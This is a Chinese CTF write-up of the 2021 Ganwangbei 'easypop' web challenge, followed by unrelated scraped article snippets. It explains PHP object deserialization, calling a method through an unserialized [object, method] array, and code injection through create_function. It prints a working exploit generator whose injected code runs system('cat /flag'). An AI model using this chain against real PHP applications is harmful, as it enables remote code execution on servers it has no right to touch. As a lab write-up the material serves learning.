【2021赣网杯web(一)】gwb-web-easypop
源码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __destruct()
{
unserialize($this->key)();
$this->mod2 = "welcome ".$this->mod1;
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET[0]);
?>
一看到题,我对于unserialize($this->key)() 有点懵。在想对象反序列化后,这样怎么调用???或者入伏哦是对象当函数使用,又没有__invoke()之类的,会不会与内部类有关,但似乎都没解决办法。
后面一想,php弱类型语言,如果这个是我想要的函数字符串就好了,第一反应就想起来,序列化还可以对其他基本类型进行操作。。。gan,感觉刷题有点刷懵了,每次都是直接找对象来进行反序列化利用。这个地方直接序列化一个字符串不久ok了。于是直接去试了
?0=O:4:"func":3:{s:4:"mod1";N;s:4:"mod2";N;s:3:"key";s:14:"s:7:"phpinfo";";}
这里的主要部分就是后面的phpinfo字符串,序列化后又成为一个字符串,再加上一个(),完成phpinfo函数的调用

事实证明确实可以成功执行!!!这时候再回到题上来
很明显,这里就是要调用GetFlag::get_flag函数。如果这里反序列化一个类,他返回的是一个类,并不能形成$getFlag->get_flag()进行调用。
傻乎乎的竟然还是尝试了直接把它当作一个字符串,妄想达成目的,但事实说明,php真的就只会把他当作一个字符串进行调用。。。行动失败
后面来个一个小trick
类内的方法调用可以通过 [类,方法名]() 进行方法上的一个调用
前面可以看作一个数组,当反序列化成一个数组后,不久可以达成调用了吗。

所以这样是可以操作的。于是就可以开始构造一个payload用于完成get_flag()方法的调用了
可以看到最后其实就是指定一个函数,且需要满足 $code("",$action);
后面直接利用create_function注入,(不知道为什么可以就想到是create_function函数,那么多函数。。)
This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.
create_function()会创建一个匿名函数(lambda_样式)函数名是以lambda开头的一个自增的函数名,貌似当初做了一个关于爆破该函数的匿名函数名进行RCE的漏洞
create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); //返回lambda_1
//等效于
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
它的原理就是将 参数传递进去,形成一个合法的字符串或者叫方法体,再通过Eval执行该字符串。由于是字符串拼接,自然也逃不了代码注入的缺陷!!!
它的构造流程就相当于
function lambda_xxx(){
//传入的方法体及相关参数
}
再对方法体执行eval操作,当传入的方法体可控时,便可能触发RCE
<?php
error_reporting(0);
// highlight_file(__FILE__);
$pwd = getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __construct()
{
$this->key = serialize([new GetFlag(), "get_flag"]);
}
}
class GetFlag
{
public $code;
public $action;
public function __construct()
{
$this->code = ";}system('cat /flag');//";
$this->action = "create_function";
}
}
$a = new func();
echo urlencode(serialize($a));
成功拿到flag
不理解为什么code里要先闭合原来的函数,本地复现不用闭合也可以实现啊???疑惑
google大法好啊!!!
终于找到原因了
醍醐灌顶之文
该函数的底层实现》》》
》 function \0lambda_%d( function_args ) { function_code } \0
所以看传进去的位置,从而完成不同的注入
【2021赣网杯web(一)】gwb-web-easypop的更多相关文章
- Sentry Web 性能监控 - Web Vitals
系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本 快速使用 Docker 上手 Sentry-CLI - 30 秒上手 Source Maps Sentry For ...
- “此网页上的某个 Web 部件或 Web 表单控件无法显示或导入。找不到该类型,或该类型未注册为安全类型。”
自从vs装了Resharper,看见提示总是手贱的想去改掉它.于是乎手一抖,把一个 可视web部件的命名空间给改了. 喏,从LibrarySharePoint.WebPart.LibraryAddEd ...
- 语义网 (Semantic Web)和 web 3.0
语义网=有意义的网络. "如果说 HTML 和 WEB 将整个在线文档变成了一本巨大的书,那么 RDF, schema, 和 inference languages 将会使世界上所有的数据变 ...
- Web APi之Web Host消息处理管道(六)
前言 我们知道Web API本身是无法提供请求-响应的机制,它是通过Web Host以及Self Host的寄宿的宿主方式来提供一个请求-响应的运行环境.二者都是将请求和响应抽象成HttpRespon ...
- JavaEE中Web服务器、Web容器、Application服务器区别及联系
在JavaEE 开发Web中,我们经常会听到Web服务器(Web Server).Web容器(Web Container).应用服务器(Application Server),等容易混淆不好理解名词. ...
- nginx+iis、NLB、Web Farm、Web Garden、ARR
nginx+iis实现负载均衡 在win2008R2上使用(NLB)网络负载均衡 NLB网路负载均衡管理器详解 [译文]Web Farm和Web Garden的区别? IIS负载均衡-Applicat ...
- HTML5:web socket 和 web worker
a:hover { cursor: pointer } 做练习遇到了一个选择题,是关于web worker的,问web worker会不会影响页面性能?补习功课之后,答案是不会影响. 查阅了相关资料学 ...
- 走进云背后:微软Azure web 项目通过web service部署web site
探索云那不为人知的故事(一):Web Services部署web site 前奏:Windows Azure是微软基于云计算的操作系统,现在更名为“Microsoft Azure”,和Azure Se ...
- [Java Web] 1、Web开发初识——一大堆历史和技术名词
LZ前言 LZ最近发现网络真是个神奇的东西,以前做的好玩的只能自娱自乐(或者说顾影自怜),现在只要发一个帖子,写一个博客,很快能引来一大群小伙伴的围观(有时候还能遇见几个大牛给个战略性的指导)...L ...
随机推荐
- Oracle 19c 没有匹配的协议
Oracle12c连接问题ORA-28040:没有匹配的验证协议 造成改问题的原因是客户端版本太低.修改sqlnet.ora文件可以让服务器适配低版本的客户端 sqlnet.ora文件中加入 SQLN ...
- 检查redis是否正常运行
[XX@XXX]$ ps -ef | grep redisXX 8047 1 0 10:06 ? 00:00:03 redis-server *:6379XX 9983 9802 0 11:2 ...
- "迷途"的野指针,都快找不着北了
指针,C语言开发者表示很淦,指针的使用,很多人表示不敢直面ta,不像Java一样,有垃圾自动回收功能,我们不用担心那么多内存泄漏等问题,那C语言里边呢,指针又分为了"野指针",&q ...
- vuex配置token和用户信息
首先设计的是登录成功后端产生token,前端取出放在Local Storage,便于后面每个请求默认带上这里的token以及取用户相关信息 和main.js同级建store.js文件,代码如下 imp ...
- 基于I2C的AHT20温湿度传感器的数据采集
关于:IC( Inter-- Integrated Circuit)总线是一种由 PHILIPS公司开发的两线式串行总线,用于连接微控制器及其外围设备.它是由数据线SDA和时钟SCL构成的串行总线,可 ...
- linux 入门系列-基础性知识
1:初探linux-基于centos7 运维和服务器硬件组合 两种登录方式:(1)-------root:管理员登录权限较高,不建议初学者使用格式: [root@centos7 jinlong]# ( ...
- Rancher 下图形界面 搭建 K8S 集群
首先我们准备4台 2核3G 的 centos 7 温馨提示:先安装好一台 CentOS 的虚拟机,并且安装好 docker,永久关闭防火墙. 再这个基础上我们分别克隆出四台 Rancher.K8S1. ...
- ORACLE,mysql中替换like的函数
数据库中存储了海量的数据,当查询时使用like,速度明显变慢.我在做项目时,发现使用内部函数INSTR,代替传统的LIKE方式查询,并且速度更快. INSTR()函数返回字符串中子字符串第一次出现的位 ...
- Python 函数 参数传递
参数传递 在 python 中,类型属于对象,变量是没有类型的: a=[1,2,3] a="Runoob" 以上代码中,[1,2,3] 是 ...
- 菜鸡的Java笔记 数据表与简单java类映射
利用实际的数据表实现表与类的操作转换 简单java类是整个项目开发中的灵魂所在,它有自己严格的开发标准,而最为重要的是它需要于数据表是完全对应的 不过考虑到现在没有接触到过 ...